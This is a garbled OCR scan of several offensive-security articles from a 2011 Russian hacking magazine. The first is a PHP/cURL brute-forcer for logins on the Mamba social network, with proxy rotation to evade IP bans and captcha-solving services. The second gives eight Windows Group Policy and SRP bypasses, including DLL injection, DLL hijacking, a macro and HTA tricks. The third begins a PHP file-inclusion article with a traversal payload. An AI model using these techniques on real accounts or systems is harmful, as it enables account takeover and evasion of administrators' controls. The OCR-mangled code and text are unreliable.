многопоточносты Но как же спарсить сразу много файлов? На помощь приходит много­

поточность cURL'a. Чтобы обработать множество файлов, нам нужно иметь как минимум множество ссылок . Дл я удобства напишем генера·

тор диапазона ссылок, исходя из стартовой и последней ссылки:

fu nction geпlinks($from, $to) _ { _____________________ _

<<КапчаБот»

lcaptchabot .coml- аналогич- 2 Death Ьу Captcha [d eath Ьуса ptcha .coml- от но-

ный, н о менее популярный сервис.

Точность расшифровки немного

меньше [80 %1, также поддержи­вает многопоточность в своих

сительна новый проект, позицио­

нирующий себя как самого крутого

распознавателякапчнарынке.Цена

удовольствия-1,39 долл. за 1000 распознанныхкапч.Среднеевремя

распознаваниясоставляет17секунд

с точностью 90% и выше. Здесь ты также найдешь целую кучу про­

граммных решений для работающе­

го на сервисеАРI.

API . Цена-30 копеек за одно изображение, а время обработ-

ки -до 30 секу нд . Значительный

плюс системы- программные

примеры, позволяющие безбо­

лезненно интегрировать сервис в

свой проект.

ХАКЕР 10 / 153/2011

Page 64: Хакер №10 (октябрь 2011)

_ $i = ~_$links = arrgy(); ____ _

__fQ_c_($i = e;j i <= (ito- $from);_$iн), _______ _ ____ { _______________________________________________ _

$links[] = 'http://slil.ru/' .($from+$i);

} return $links;

_ } $JJ!lks_ .=_ge n~_in!s s (ЗН.~421, JJ4~2~ЯJJ; ··--·-·········-·······----

Теnерь мы имеем 100 ссылок s lil . гu от31402491 до 31402591 в виде

массива . Те п ерь приступим к самой многопоточности . Ее реализация

немн о го труднее, но для на с нет ничего трудного .

В cURL'e многопоточность работаетследующим образом:

1. Создаем дескриптор многопоточности, в который потом раз за

разомскладываемнастроенны е соединения .

2. Пробе гаемся по дескри пторуфункцией cuг l_m ul ti_exec, которая

как разиисполнитвсiис раз~

3. Для последующего обхода результатов работы используе м c uгl_

multi_getcoпteпt .

За примерам реализа ции такой схемы идем н а ди ск и запускаем

функцию paгse l i п ks ll сл едующим образом:

$info = parseLinks(genLinks(314132491, 314132591));

Теперь, послетрех-четырех секундработы скри пта, мы имеем инфор­

мацию о 1000файлов, сохраненных на sli l.гu , вдиапазонеот3 140249 1 до

31402591 . Далееужедело фантазии . Можно, например, произвести выбор­

ку конкретного формата файлов, можно и х все с качать к себе на компью­

тер по соответствующим ссылкам, можно произвести поиск по фразе и

так далее. Как показывает практика, ничего сложного в этом нет, поэтому

рассмотрим еще один пример, который будетуже немного сложнее.

УТИМ «МАМБУ» Дал ее мы остановимся на брутере для социальной сети « Мамба >>

lwww. mamba.гu ). Как обычно, давай составим алгоритм работы брутера:

1. Пос ылаем запрос с лагином и паролем .

2. Принимаем отвеL

3. Сверяем получен ный ответеуже подготовленным ответом << н еудач­

ной пары » и , если они одинаковы , возвращаем false, иначе возвра­

щаем tгue.

Теперьостановимся немного подробнее на самом механизмеавтори­

зации <<Мам бы» . Перейдя на сайт, мы увидим кнопочку<<В ход». Нажав на

нее, ты никуда не переходи шь, а также не создается ни каких н овы х око н ,

зато посередине экрана появляется новый слой с формой для входа . Из

это го следует, что стоитожидатьдва варианта развития событий:либо нас

перекинет на какую-то страницу п осл е ввода неверной пары, либо же всi

это безобразие реализовано на Aja x'e с помощью внутрисайто вого API.

Первый вариантбыл бы тяжелее для брутера, так как пришлось бы п о­

лучать с сервера много мусора и лишнего html-кoдa , а вотвторой вариант

был бы идеальным, так как мы получаем всеголишь 100-300 символов от

внутрисайтовогоАРI , чем ускоряем работубрутера . К нашей радости, на

<< Мамбе» используется как раз второй вариант-с АРI.

Далее нам необходимо найти адрес этого самого API. Искать в html­

и JavaSc гipt-кoдe, ко нечно, можн о, но мы будем умнее и просто снова

используем замечательный пл агин для <<Лисы » LiveHTTPHeadeгs .

Открыв страницу, введя пару<<ло гин - пароль» и нажав к н о пку

<< В ход», мы увидим в окне плагина адрес скри пта, которы й и отвечает

заправильность/непра вильностьпары:

POST / ajax/login .phtml?XForm=Login НТТР/1.1

Host : mamba. ru

ХАКЕР 10/153/ 2011

Парсингпо -крупному

clickUrl=htt~ЗA%2F%2Fmamba.ru%2Ftips%2F%3Ft~p%ЗDLogiQ&

target=&logJn_sв_Rtcha=&login=xxx&password=x1x22QL _______ _

VAnk~ta iq=13&Red i~ectBack=http%2~~%252F%25~Fmamb~

ru%252Findex.phtml%253F

Адрес API- mamba . гu /aja x/login . phtmi ?XFoгm=Lo g i п .

СОСТАВЛЕНИЕЗАПРОС Те перь всмотримся в сам запрос. Как видим, здесь уже фигурируют

сессии, это заметно по cookie . Та кже мы видим, что посылаются дан­

ные, и посылаются они методом РОSТ. Все эти детали нужно учесть при

написании брутера.

Те пер ь с нова открывай диск и ищи на нем очередной при мер на

РНР + cUR L. Н а этот ра з мы должны получить определе нный ответ от

авторизационного API <<Ма мбы», означающий правильнесть или не­

пр а вильность пары << лаги н- па роль» .

В оттак выглядитответе неправильной парой :

{ "t" : "еееееееееееее", "а" : ееееееее, "s" :1, "е" : е, "d" : [], "r" : е, "XFor

ms" : { " Login" : { "found" : " \ul341d \ue435\ue432\ue435\ue44e\ue4Зd\

ue4Зe\ue443\ue4Зa\ue4Зe\ue437\ui34Зe\ul343d \ue4Зb\ul343e\ue433\

ue438\ue4Зd\ul3438\ue4Зb\ul3438 \ul343f \ue4Зe\ue44e\ue4Зe\ue4Зb\

ul344c" }}}

А воттак с правильной :

{ "t" : "еееееееееееее", "а" : "eeeeeeee", "s" :1, "е" : е , :'d" : [ ] , "r" :

.:.ь:ttR%.ЗA%2F%lE_mi!rnh!hrJ!-"...2 E_t i p~%2f..%ЗFJip%ШLogin " ,.:.хЕо rm s.:':.!H __ _

П озтому будем считать , что если в ответе будет при сутст вовать

строка "r " : "http%3A%2F%2Fmamba. ru%2Ftips%2F%3Ftip%3DLogin", то

пара подошл а. Та кже хочу отметить , что весь код с ди ска следует

обернуть в много п оточный вариант, желательно в виде функции. Но

не буду п овторяться , та к как с по соб ы р еа ли зации такой мно го п оточ­

ности о п исаны выш е.

ПАЛКИ В КОЛЕСА~ Создавфункциональныйскрипти проверивоколо1000аккаунтовза

минуту, ты можешь удивиться тому, что результаты далеко не всегда

будут корректными. Для этого советую тебе просто- напросто вести лог

работы , в который записываются ответы сервера. Открыв такой л ог, ты

увидишь подобные записи:

{ " t '':.:'.1311437340338", "а" : е, "s" :1, "е" : е, "d" : [] , "r" : е, "XForms" : е,"

captcha" :1}

А та кже записи, свидетельствующие о бане IР-адреса, с которого

идет б рут. Капча обходится разны ми с пособа ми lo наиболее популяр ­ных из них я уже рассказал выше) , а вот ба н IР-адреса легко исправить

одной строкой на cURL:

curl_setopt($curl, CURLOPT_PROXY, '12 . 34 . 56.78:8е' );

Еслирассматриватьпримермногопоточногоскрипта,толучше

ис п ользовать не один , а мно го прокси, которые б ы автоматически

ме няли сь после получе ния ба н а.

ЗАКЛЮЧЕН И Как видно из практики , работа с ч ужими сайтами совсе м не тр удн а

и мно ги е да же очень популярные сервисы не очень-то и стараются в

за щите собственны х да нны х от грабби нга . Ес ли, п о п робовав о пи са н ­

ные в статье с п особы и приобретя соотв етс твующий о пы т, ты хоче шь

монетизировать свои навыки, то могу намекнуть, что в Н-тусо вк е

определен ны м с про сом всегда п ользавались и будут п ользоваться

всевозможные авторегистраторы, спамеры, грабберы, ч екеры и так

далее.

На этом с п е ш у откланяться, удачн о го п а рсинга! :Х:

065

Page 65: Хакер №10 (октябрь 2011)

взлом Алексей »GreenDog»Tюpин, DSecRG.ru, Digital Security lagrrrdogragmail.coml

Недостаточно прав? Достаточно 8ПРИЕМОВДЛЯ ОБХОДА ГРУППОВЫХ ПОЛИТИК МЕНЕ

Не знаю, чем руководствовалисьлюди из Microsoft, когда проектировали и создавали систему групповых политик

в Windows, но получилось у них не очень . Система по­

лучилась гибкой и функциональной, но с немалым ко­

личеством лазеек, позволяющих обойти ограничения и

добраться до тех мест ОС, доступ к которым запрещен.

о правде говоря, групповые п олитики был и исследованы вдоль

и поперек еще пятьлет назад . Однако используемые решения

мало чем изменились . Многие ба г и по - преж нему работают.

Кроме то го , п оявляются новые приемы для обхода групп овых политик .

Поэтому мы решили соб ратьдля тебя н екото рый набор рецептов ,

чтобы ты. во-первых, мог взять на вооружение, а во-вторы х, перестал

верить в то, что групповые политики -это панацея . При всем удобстве

и х использо вания они н е мо гут обеспечитьдолжный уровень защиты .

Но обо всем по порядку.

ЧТО ЭТО ТАКОЕ? Если веритьскучным определениям, то групповы е политики [или Gгoup

Роliсу)-это эффективны й и централизованный механизм управления

многочисленными п а раметрами о перационных систем и приложений .

Групповые политики позволяютадминам определять правила, в соот­

ветствии с которыми настра иваются параметры рабочей среды какдля

пользователей, так и для компьютеров. Проще говоря, этодовольно мощ­

ныйинструментдляограничениявдействияхобычныхпользователей .

Существуетмасса различ ных политик и прав, с помощью которых можно

за претитьвызов ди с петчеразадачили реда кторареестр~ запретить до­

ступ к м еню << П уск>>, а также довольно гибко о граничитьзапуск программ­

нагообеспечения [зто реализуется с помощьютак называемых Softwaгe

Restгictioп Policies) . Является ли этотмеханизм эффективным? Лишь

отчасти. Доступ к шортката м, запусклевого ПО и систем ных приложений,

изм е нение настроек- все этодостаточнолегко за прещается с помощью

групповых политик . и с этой точки зрения можно сказать с пасибо раз­

работчикам ОС. Н о, увы, какзто обыч но бывает, зти политики зачастую

можно обойти . Тут стоитсделать оговорку. В се политики можно разбить

на две категории-для компав и для пользователей. Групповые поли­

тикидоступны как в домен е, так и на локальном ком п е. Если речь идет о

локальной машине, то их можно посмотр еть через специальную оснастку

gpedit.msc [secpo l.msc). В данной статьеосновной акцентсделан именно

на доменные групповые политики . Итак, приступим.

ТРЮК 1. ОБХО ИМ ЗАГРУЗКУ ПОЛИТИ TdSk Mdnagcr ~ Давай разберемся, как вообще каждая машина в локальн ой сети по­

лучает груп п о вы е политики из дом е на ? Пр о цесс создания групповы х

полити к м ож но разб ить на с л едующие условны е этапы:

о , .. _ ... __ ь.",...-.ш.

066

г

1. Админ создает объектгрупповойполити ки.

2. Привя зы ва ет е го к каки м-то элементам домена.

3. Привходе вдоменкомпотправля етзапросна п о лучение политики

п олучаетихвответотдомена .

4. При входе п ользователя выполня ется аналогичный за про с, но уже

по п ользовательским полити кам.

ХАКЕР 10/153/2011

Page 66: Хакер №10 (октябрь 2011)

fil? Ut111ty Manager GJ§(8) omJ Hide

Win+U + Help + Jump to url =Полноценный Explorer

Итак, что мы здесь видим: политики подгружаются на стадии входа

в систему. Здесь есть небольшая фича. По умолчанию обновление

политик выполняется каждые 5 минут. Но если политики не были

получены во время входа в систему, то обновляться они не будут!

Вырисовывается элементарный способ, как зту особенность можно

ис п ользоват ь:

1. Вынимаем патч-корд из ком па .

2. Включаемкомпилогинимсяподсвоейучеткой .

3. П одключаем патч-корд обратно.

Даже при отсутствии доступа в сеть мы сможем войти в домен , так

как в инда ранее закешировала наш лаги н и параль !это произошло во

время предыдущего входа в систему!. Но уже без применения груп­

повых политик. При зто м мы спокойно сможем использовать ресурсы

сети, так как патч-корд к этому моменту будет на месте, а со всякими

авторизациями на удаленных ресурсах справится сама винда . Стоит

добавить, что в безопасном режиме винды групповые политики во­

обще не действуют. Комментарии, я думаю, излишни .

РЮК2.КАКПРОИСХО ИТПРОВЕРКАПОЛИТИК . Важнопонимат~накакомэтапепроисходитсопоставлениедей­

ствия,котороехочетвыполнитьпользователь,стемиограничениями

групповых политик, которые н а него накладываются . Сперва давай

разберемся, где расположены политики .

Из начально, конечно, на контроллере домена, откуда уже пере­

даются на машины в локальной сети. После получения групповых

политик на клиентской машине они сохраняются в реестре винды в

следующих -местах lприведены основные ветки ! :

Политики для компа_: __

• H K EY_LOCAL_MACHIN E\Software\Microsoft\Wiпdows\

CurreпtVersioп\Policies\

• HKEY_LOCAL_MACHINE\Software\Policies\ ПОЛ ИТИ_кiLД!lJ'I_!!QЛ ЬЗОf!Ш~Ле~;_ ____ _

• HKEY_CURENT-YSEll\Software~Microsoft~Wiпdows~Cu rreпtVersioп~_ Policies\ • HKEY_CURENT_USER\Software\Policies\

Когда запускается какой-то процесс, то в нем !то есть в

useгspace'el производится проверкада н ных веток реестра !через

подг руженную библиотеку advapi .dl ll н а те или иные огра н ичения,

которые потом кешируются/сохраняются в памяти процесса. Они

п роверяются, когда пользователь выполняет какое-то действие,

например запуск П О. В чем подвох? В том, что ко нтроль производит­

ся из са мого процесса . То есть если процесс << не захочеТ>> проверять

политики, то ничто его не заставит их соблюдать. Никакого общего

монитори нга не п роизводится! Отсюда вывод: если мы каким-то

образом сможем запустить произвольный процесс, то политики нам

ХАКЕР 10 /153/2011

Недостаточно прав? Достаточно

Обход через некорректную обработкуярлы ков

уже не страшны . Сделать как правило- не проблема. Даже если

нет возмож н ости закачать п рограмму н а хает, мож н о вы п олнить ее

удаленно !на п ример , через шару! .

Увы, дальше на нашем пути возникает другой механизм ограничений­

SRР ISoftwaгe Restгictioп Policiesl . Это группа политик, с помощью которыхадмин можетограничитьсписок ПО, которое можетзапускать

пользователь, через черный и белый списки. Blacklist и White list определяются с помощью правил , которые можнозадавать несколькими

способами : по зонам и по сертификатам !первые два варианта практи­

чески не используются!, а также по пути до файла и по его хеш у. Ото м,

что в системе действуют политики SRP, указываетсоответствующий пункт в реестре- Н КЕУ _ LOCAL_ МАС Н 1 N E\Softwa гe\Policies\M icгosoft\

Wiпdows\Safeг\Code l deпtif i eгs\TгaпspaгeпtEпaЬied со значением бол ь ­

шим О, который, какуже было сказано выше, проверяется при запуске

процесса . Наша задача, соответственно, отрубить эту проверку внутри

запускаемого процесса . Марк Руссинович lgoo.gi/KNauh l еще в далеком 2005 годуопубликовал пост в благе об обходе SRP и представилтулзу GPdisaЬie. Она производит DLL-инъекцию в заданный процесс, подгру­

жая специальную DLL'кy. Когда процесс попытается получить значение

ключа реестра НКЕУ _LOCAL_MACH IN E\Softwaгe\Policies\Micгosoft\ Wiпdows\Safeг\Codeldeпtifiers\T rапsрагепtЕпаЬiеd , то есть будет про ­

верять присутствие политик SRP, данная библиотека перехватитзапрос и вoзвpaтитSTATUS_OBJECT_NAME_NOT_FOUND. Таким образом, про­

цесс думает, что все ОКи SRP политики в системе не действуют.

После покупки компании Sysiпteгпals Майкрософтом GPdisaЬie

перестал был офи циальн о доступным !но его по- п режнему легко

найти в Сети I Ьit .ly/ппzjN9 1. Есть еще более продвинутые решения . Утилита GPCu18oг I Ьit.ly/пJAYгi l от Егiс'а Rасhпег·а выполняет а н а­

логичные фун кции, но досту п на в исходниках. Что зто нам дает? Мы

можем добавить в GPCul8oг любые другие значения реестра винды

IDisaЬieTaskMgг, PгoxySettiпgsPeгUseг к примеру! и таким образом

обойти все возможные о гра н ичения полит ик. Какие именно значения,

спросишь ты. Тебе в помощь RegMoп от Марка Руссиновича, хотя, по

сути -зто все значения из ветки Policies .

Дру гой оригинал ьный с п особ в своем благе о публиковал Дидье

Стивене lgoo.gi/LE1 MO I. Используя еваютупзу bpmtk IBasic Process Maпipulatioп То о! Kitl, он предложил прямо в памяти про цесса изменять значениенеобходимогодлягрупповойполитикиветкиреестра.

ТРЮК4. BINARY PLANTIN Утилита GPdisaЬie состоит из двух файлов :

gpdisaЬie.exe- инъектирует DLL в процесс; gрdisаЬiе . dll-специальная DLLдля обхода SRP.

Как я уже сказал, если мы можем запустить приложение, то

можем легко обойти SRP и другие политики !через GPdisaЬie, bpmtk,

067

Page 67: Хакер №10 (октябрь 2011)

взлом

-lllbl!мtlt8W'd..,tl'illlf0'7---·-ь.nprewntedЬo1•..n-•t8JЬktlllnpaky. Par-.~CII*1 E-*~OfC'Of"Ud)'CU'~~.tar.

Макросы не nаляте я nолитиками SRP

GPCuiBor- неважно!. Однако в реальной системе может оказаться не так уж просто запустить эти приложения. Но мы можем подгрузить

DLL [в том числе gpdisaЫe.dlll . Тут есть важный нюанс. Групповые

политики при запуске ПО могут пр оверять и DLL'ки, но при этом

достаточносильнопадаетпроизводительностьсистемы,потому

по умолчанию эта опция отключена. И мы это можем использовать!

Оченькстатиприходитсянедавнееисследованиеоткомпаниидсгоss

Security I Ьit . ly/ov7EAz ), которое рассказывает о новых [достаточно

извращенных, но работающих! методах подгрузки кода в процессы .

При ем называется Binary planting [и как е го классический npимep­dll hijacking), при его изучении у меня возникла мысль: «а почему не использоватьегодляобходагрупповыхполитик?» . Еслисистема

разрешаетзапуск приложений только из белого с пи ска [пускай даже

только Word), то этого уже достаточно, чтобы подгрузить нашу п о­

лезную DLLдля обхода SRP. Итак, попробуем скрестить dll hijacking от парней из Across и GPdisaЫe:

ГРУППОВЫЕ ПОЛИТИКИ

В ТОНКИХ КЛИЕНТАХ

Хочется еще рассказать про такие системы, как Citrix XenApp. Что это такое? ХепАрр, если говорить простым языком, это система <<до­

ставки>> приложений [хотя этотолько часть функционала) . По сути,

это что-тотипа терминального сервера винды, но когда п ользовате­

лю доступнотолько конкретное прил оже ние. В жизни это выглядит

так. П ользователь коннектится клиентом к Citrix-cepвepy- ему

выводится списокдоступного ПО. Дал ее юз ер запускает какое-то

приложение и начинает в нем работать . Основная фича в том, что

фактически процесс приложения выполняется на Cit r ix-cepвepe. По

сути, данный подход хорош [особенно с тонкими кли ентами!, но у него

есть пучок косяков с точки зре ния безопасности. Так как процесс - на

сервере, то, значит, пользователюдоступны все ресурсы сервера lc учетом пользовательских прав, конечно) . Это не очень хорошо, так

как предполагается, что у пользователя дол жен бытьдоступ только к

запущенной программе, а н е к ОС. Что еще хуже, добраться-то до самой

ОС- не проблема . Даже если у самого ПО нет возможности по взаимо­

действию с ОС [нет меню <<Открыть », <<Сох ранить как» ) , то стандартны е

возможности винды все еще работают: нажимаем в Сitгiх-приложении

<Ctri+Shi ft+Esc>- нам открываетс я ди с петчер задач Cit r ix - cepвep a,

или правый клик по раскладке клавиатуры , а оттуда в файл справки с

возможностью листинга директорий . Лично я столкнулся с групповы­

ми политиками именно в этом контексте- при взломе Citrix.

068

Обход nолитик через Runas

1. П ереиме н овы ваем gpdisaЫe.dll в ehTrace.dl l. 2. Создаем папкус именем кyкy.{2E095DDO-AF56-47E4-A099-

EAC038DECC24} [название любое, текст послеточки исчезнет!. 3. Кидаем ehTrace.dll в только что созданную папку.

4. За ходим в папку и создаем там любой документ в Word, Excel или, к примеру, PDF ' кy.

5. Теперь открываем только что созданный файл.

6. Соответствующая п ро грамма дол жна запуститься. И запустить

вместе с подгруженной DLL'кoй!

8. Все, политики нам не страшны.

ТРЮК5. ИСПОЛЬЗУЕМ ИСКЛЮЧЕНИЯ Часто можно обойтись и без подобных ухищрений, если знать тонкости

политик, в результате которых их действия распространяются:

на программы, запущенные от имени учетной за пи си SYSTEM;

драйверы и другие приложения уровня ядра;

макросы внутри документов Microsoft Office; программы, написанныедля общей многоязыковой библиотеки

времени выполнения [Common Lan guage Runtime).

Итак, процессы oт SYSTEM не контролируются. Пе рвы й финтушами:

если естьдоступ к какому-то ПО, запущенномупод такойучеткой,­

атакуем . Например, нажимаем Win+U -запускаются <<специальные

возможности» [лупа и экранная клавиатура) . Utilman.exe lпроцесс << сnе­

циальных возможностей» ) при этом запускается oтSYSTEM. Далее идем

там в << Сnравку» . Онатожедолжна открыться с нужными привилегиями,

так какзапущена в контексте процесса с права ми SYSTEM . Если в инда

не самая новая lдо Vista l, то кл икаем п равой кнопкой на синей верхней па­нельке << Jumpto url», там печатаем <<С:\» и получаем настоящий встроен­ный explorer. Если более новая, то можно по правомуклику втекстехелпа

просмотреть исходный код IViewSource) через блокнот, откудадалее добраться до файлов. Или другой вариант-<<добавить» новый принтер,

получив опять же доступ к листингу файлов.

Другая интересная категория- макросы внутри документов

Microsoft Office. Это страшное дело. П опробуем для начала реализо­

вать запус к ПО. Хотя если запуск заблочен обычными политиками [не

SRP), как, например, блокировкой диспетчера задач , то этотоб ход не

сработает. Но нам -то главное-запустить специальный ехе ' шник .

П оэтому в любом документе смел о создаем следующий макрос и про­

буем запустить е го :

Sub GOSHELL()

Shell "C :\windows\system32\regedit.exe", vbNormalFocus Eo_d_Sub ____ _

ХАКЕР 10/1 53/2011

Page 68: Хакер №10 (октябрь 2011)

В результате, как ты можешь догадаться, мы получаем запущен­

ный ехе. Хардконный метод предложил опять же Дидье Стивене

l goo .g l /kSPKЗ ). Используя в макросе MS Excel функции ViгtuaiAIIoc, WгitePгocessMemoгy и CгeateThгead, он сумел подгрузить шеллкод

из макроса в память процесса. Да нный шеллкод подгружает DLL'кy

в память процесса , а DLL'кa- не что иное, как cmd.exe. Кстати, ее исходникивзяты из проекта ReactOS. Как я уже сказал, SRP может препятствовать запуску DLL'eк !хотя и не делает этого по умолчанию),

но если подгрузку библиотек осуществлять, используя функцию

LoadlibгaгyEx с LOAO_IGNORE_COOE_AUTHZ_LEVEL вместо

Loadlibгaгy, то проверка на принадлежность подгружаемой dll к white-лиcтy не происходит!

РЮК6. ИСПОЛЬЗУЕМ ПЕРЕМЕННЫЕ СРЕ Ы Когда начинаешь мучить групповые политики, то приходит осознание,

что для создания защищенной системы nотребуется попотеть. Дело трудное и с большим количеством тонкостей. Например, разработчики

предлагают админам использовать удобный хи нт-указывать пере­

ме нны е среды в качестве путей для ограничений SRP. Да вот здесь

проблема. У пользователя, если их жестко не прищучить, есть воз­

можность их переопределять. Указал, например, админ, что из папки

%ТЕМР% можно запускать ехе'шни ки, а юз ер взял да и переопределил

следующей командой :

Set ТЕМР С:\

И воттак просто получил возможность запускать файлы из корня С: .

Крометог~нестоитзабыватьпростандартныедиректории,изкоторых

разрешен запуск ехе-файлов:

• %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SystemRoot% • %HKEY_LPCAL_MдCHINE~SOFTWARE\Microsoft~WindowsJf['l., ___ _

CurrentVersion\SystemRoot%*.exe

• %HKEY_LOCAL_MACНINE\SOFTWARE\Microsoft~Windows NT~·---­

CurrentVersion\SystemRoot%System32\*.exe • %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\ProgramFilesOir%

Они разрешают запуск ПОтолька из папки Windows и Ргоgгаm

Files для пользователей . У обычного пользователя нет возможности

------~·"" ~' .__.. c : \GpDisaЫe . exe

c:\GpO -:.ы..ехе

Windows connot open this pr~om Ьecouse t hos Ьееn prevented Ьу 4 softW41'e restriction polcy. For Event- or cont«t ywr system ~rlltor.

ок 1

Обход через изменение переменной окружения

ХАКЕР 10 /153/2011

Недостаточно прав? Достаточно

записи в них , но и здесь могут быть проблемы . Так как на самом деле

права на запись у пользователя есть- по дефолту в папку C:\windows\ system32\spooi\Pгinteгs и C:\windows\temp. Если у пользователя будет возможность писать в какой-то каталог с софтом, то, считай, соответ­

ствующие Политики SRP уже не сработают. Кстати, для того чтобы на практике поверить, какие у пользователя есть права, поможеттулза­

AccessChk от все того же Руссиновича l goo . gi/Ю9tt).

РЮК7. ИСПОЛЬЗУЕМ РУГОГО ПОЛЬЗОВАТЕЛЯ Есть способ не подпустить подгрузки политик, но для этого три ка нам

по надобятся лаги н и парольдругого пользователя. Суть в том, что нам

надо войти в систему <<еще раз», но не под собой. Тут два варианта :

1. <Shift> + правый клик на запускаемом файле, далее в контекстном

меню выбираем << Run as ... >> .

2. Через консоль на бираем команду: гunas/nopгofile <название

ехе -файла>.

Другой пользователь, под которым ты запускаешь программку,

как и ты, может быть обычным пользователем с ограниченными пра ­

вами. Но политики н а запущенную программку уже не будут действо­

вать! См . рисунок.

На нем пользователь test_gpoЗ не может запустить гegedit из-за

политик. Н о, за пустив под test_gpo2 любой ехе'шник !диспетчер задач наприм ер), он уже ничем не ограничен и позтому может запустить

гeg edit. Кроме того , если у нас есть возможность удале нного входа в

систему !по ROP, например) , то мы можем провести аналогичный финт,

но только с одной учеткой !демонстрацию можешь посмотреть в этом

видео- Ьit . ly/pXsBj 6) .

lPIOKB. ВСПОМИНАЕМ ПРО НТА Последний хинткасается неофициальныхисключений,накоторыене

действуютгрупповые политики. Вадиме Подане написал в благе от­

личную серию постов, посвещенных SRР-политикам. В частности, он

обнаружил отличный путьдля их обхода и за пуска произвольнаго кода

lgoo.gi/BmBsm) с использованием приложения НТА IHTMLApplication).

Итак,последовательностьдействий:

1. Создаем файлик с примерно таким текстом :

gjTML> <scriRt lang@ge;"vbscript"> __ _

~gbox "I'm dang..,eLr o"'u"'s"-"v"'в_,c."o,..,d,.,e"-! '-'! !_" _________ _ ~/script > __

</HTML>

2. Сохраняем его с ра сширением .hta !например , execute_this.hta).

3. Создаем ярлык для него .

4. Открываем ссылку- и hta запускается .

Надо ли говорить, что вместо вызова безобидного MessageBox 'a VВ-код может сделать в системе что угодно? Политики SRP долж-

ны проверять весь код , который может исполняться, в том числе и

всевозможныескрипты.Однакоиз-затонкостейработыгрупповых

политикданный обход работает. К аналогичным « глюковатым •• рас­

ширениям помимо НТА Вадиме относит REG, MSC, НТА, СНМ. Точно

так же ситуация наблюдается и с соm;файлами lв том чи сле всякими

олдскульными ДОСевекими программами, которые все еще разброса­

ны в папке винды). Они не учитывают правила групповых политик , так

как работают в виртуальной машине 005 .

Как ты можешь заметить, всевозможныхлазеек полно. Их разнообра­

зие и ухищре ния не могут не удивлять . То, что я скажу дальш е, может

тебя удивить . Даже по сле перечисления всех этих способов для обхода

ограничений я все же настоятельно рекомендую не пренебрегать их

использованием. К тому же теперь ты можешь учитывать возможность

применения этих лазеек и с намного большей вероятностью настроить

систему, которая будет достаточно защищена. ::J:

069

Page 69: Хакер №10 (октябрь 2011)

взлом

ЬIСЯЧа И ОДИН инкл ;ц

поиск УЯЗВИМОСТЕЙ КЛАССА LOCAL/ REMOTEFILE INCLUDEHA НОВОМ УРОВНЕ

Широко известно, что причиной

возникновенияуязвимастей

класса LFI/RFI в РНР-движках служит возможность передачи

произвольныхданных в операто­

ры include[_once] и require(_once]. На самом деле подключение

файлов к РНР-сценарию можно

реализовать и множеством дру­

гих, менее известных способов,

об эксплуации которых и пойдет

речь в этой статье.

070

• www.php.net/ set inc!ude path оnисаниефункции

set_include_pathll; • www.php.net/ .l!fi.Ш.ig)jn­оnисаниефункции

unserializell; • www.php net/ :tir.l!!.i1-onиcaниe фyнкцииvirtual!l ; • www ohp net/ ~-оnисание метода autoload; • ь;цy/nWvefG тема на форуме.п!21. ш:g, посвященная

магическим методам

__ autoload в част­ности ;

• bjЦy/odY5zS -немного про

spl_autoloadll; • www.ohomyadrnjn. оо-официальный сайт phpMyдdmin; • Ьit )y/nV1 njG один из LFI-эксnлойтов

АЛЯ phpMyдdmin'a.

1 1

На нашем дискеты сможешьнайти под­

робноеобучающее видео ко всем

описанным в статье

методам инклуда .

PrOxorKotov lhttps://rdot.org/forum/1

Первое, на что бы я хотел обратить внимание, это функция set_ include_path(), которая устанавливает директории для инклуда в директивуinсludе_раthидаетвозможностьманипуляцииработой

операторов include(_once)/require(_once). Такая манипуляция ста­

новится возможной в случае , если в РНР-сценарии не задан полный

путь к nодключаемому файлу, то есть сначала нужный файл ищется в

п утя х из include_path, а затем- в рабочей директории скри п та.

Тем самым, если мы сможем передатьсвои nроизвольныеданные

в set_include_path [или в ini_set('include_path' , [данные] !. что

аналогично, то легко изменим результат работы include. Для nримерадавай возьмем абстрактны й код РНР-приложения, в

одном из скриптов которого мы нашли следующее интересное место:

set_include_gath(.$path . PATH_SEPARATOR . get_include_Rath().); inclцQ_e _: :myЦ~php_:'_; ______________________ .. _____ _

Доnустим, что в данном с крипте мы можем влиять на переменную

$path. Например, она берется из базы данны х, в которую у нас есть до­

ступ, или же ее можно задать в админ-панели приложения, в которую

мы также можем попасть . В общем , вариантов существует великое

множество. Легко понять, что таким образом мы сможем проинклудить

файл myclass. php из любой директории.

ХАКЕР 10/153/2011

Page 70: Хакер №10 (октябрь 2011)

Конечно, сама по себе функция set_include_path(), которая при­нимает произвольные пользовательские данные, не является такой

уж сильной угрозой безопасности , но если в том же nриложении вдруг

обнаружится уязвимость типа << file manipulatioп >> !то есть мы можем

создаватьфайлы с прои звольным именем!, то тутуже вполне возмо­

жен следующий п оворот событий :

1. Создаем в /tmp файл с именем myclass.php !nрава доступа на эту

директорию обычно 7771. 2. Устанавливаем $path = /tmp/. 3. Обращаемсяк с крипту, в котором естьуказанный выше код, и на­

блюдаем успешный инклуд файла myclass.php иэ директории /tmp.

Ты , конечно же, спросишь, если у нас есть возможность создания

произвольнаго файла на сервере, то зачем еще производить все эти

<< лишние» действия.

Здесь есть один важный момент: так как мы расматриваем

уязвимости именно РНР-скриптов , то не стоит забывать , что на

подавляющем большинстве веб-серверов РНР за п уще н как модуль

Апача и тем самым не обладает какими-либо особенными правами ,

кроме www/пobody/apache. Чтобы раскрутить уязвимость типа << file manipulation», мы должны создать файл в корневой директории в е ба, нотам вполне может и не быть каталога, достуnного на за nи сь

средствами РНР. _

АОБЪЕКТОВ Следующий важный механизм, который также nозволяет маниnули­

роватьданными в конструкциях include(_once)/require(_once), это

возможностьавтоматическойзагрузки объектов .

Широко известно , что в РНР>= 5.1.2 и выше была реализована удобная << магическая » функция __ autoload, nозволяющая подклю­чать файлы с описанием классов автоматически без использования

include в явном виде .

Если обратиться к официальной документации , то наше внимание

вnолнеможетnривлечьтакоезам ечаниеотразработчиковРНР :

If_the class name is used e.g. in call_user _func() then it сап contain some dangerous characters such as .. /. It is recommended to not use the user-input in such functions or_at least verify the input in __ autoload().

Данное замечание означаеттот факт, что если мы можем влиять на

параметры функций , оперирующих названиями классов, то стано­

вятся возможными уязвимости типа LFI/RFI. Например, воттакой код вполне да ет возможность проинклудить файл /etc/passwd:

function _autoload($class._name) {_ __r::g_quire_once $J;.lass_o_~@p ' ; __ } ___ _

-·--------·-··--·-·------·-··-··---· call_user _func(array( " •• / • . /_,_,./etc/passwd'.e", "test" ));

Ко н ечно же, call_user _func() не единственная функция , которая

